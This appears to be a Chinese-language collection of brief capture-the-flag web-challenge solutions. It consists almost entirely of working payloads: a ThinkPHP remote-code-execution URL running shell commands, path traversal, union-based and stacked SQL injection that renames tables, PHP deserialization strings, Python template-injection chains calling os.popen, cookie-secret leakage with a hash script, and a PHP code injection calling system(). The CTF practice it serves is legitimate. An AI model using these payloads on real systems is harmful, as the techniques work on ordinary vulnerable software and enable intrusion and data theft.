来到高手进阶区
当我们访问index.php的时候会跳转到1.php,我们检查元素,打开网络,我们在输入index.php即可看到消息头有flag
打开robots.txt看到flag地址,打开即可
这是thinkphp rce漏洞
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
根据page我们构造语句即可
?page=http://127.0.0.1/index.php/?hello=
?page=http://127.0.0.1/index.php/?hello=
有个id参数,我们通过爆破即可知道有个2333的id有flag
检查元素中发现有个source.php,访问下
访问hint.php
我们通过截取来获取我们的flag
source.php?file=source.php%253f/../../../../../ffffllllaaaagggg
这里搜索语句中有注入点
' union select 1,2,3 #
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
' and 0 union select 1,2,fl4g from secret_table #
下载附件
把eval,换成alert打开即可获取到javascript代码
我们看完代码便知,输入be0f233ac7be98aa即可获取flag
输入index.phps看到代码,当我们输入id属性值的时候浏览器会进行一次url解码,然后代码也进行一次,所以我们编码两次即可
/index.php?id=%2561%2564%256d%2569%256e
很明显是反序列化漏洞,根据code传递
/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Js验证,检查元素把onchange删除即可
访问即可
先判断是否存在SSTI漏洞
/{{'a'+'x'}}
/{{[].__class__.__base__.__subclasses__()}}
查看所有模块
/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
查看catch_warnings模块都存在哪些全局函数
查看flag文件在哪里
/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
查看flag
/{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}
这是php反序列化漏洞,漏洞点在__wakeup函数中,flag文件已经在注释中说了
直接构造语句即可
/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
加单引号发现报错
当我们用union注入发现,被过滤了
尝试堆叠注入
1';show databases;#
查看数据库
查看表
查询words表中所有列:
1';show columns from words;#
查询1919810931114514表中所有列
1';show columns from `1919810931114514`;#
我们用rename改表名,改成words
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
最后用1' or 1=1 #得到flag
有三个文件,依次浏览下
还有个错误的地址
我们已经有flag文件地址了,加上我们flaghash即可获取flag
/error?msg={{handler.settings}}
获取cookie_secret
计算filehash值:
代码块
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'b8c94c3d-7c77-4255-9da2-314779feb9b0'
print(md5(cookie_secret+md5(filename)))
filehash()
再构造下语句即可
/file?filename=/fllllllllllllag&filehash=02751748b50380f083517be3f1832bb5
简单浏览下代码,对小括号进行了替换,将 ( 和 ) 替换为空字符串
将 config 和 self 添加进了黑名单
构造语句即可
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
查看robots.txt发现.git文件,可以下载源码文件
这里的.git文件不能直接git clone 要下载GitHack来下载
漏洞在api.php文件中
因为php是若语言,所以1和ture相等
我们在buy页面填了7位数字后抓包
修改成{"action":"buy","numbers":[true,true,true,true,true,true,true]}
多发送几次后就可以购买flag了
发现泄露.git
我们用GitHack下载下来
发现源码中page可以获取flag,page参数也没有进行过滤
所以我们直接构造语句即可
/?page='.system("cat ./templates/flag.php").'
查看源码就可以看到flag了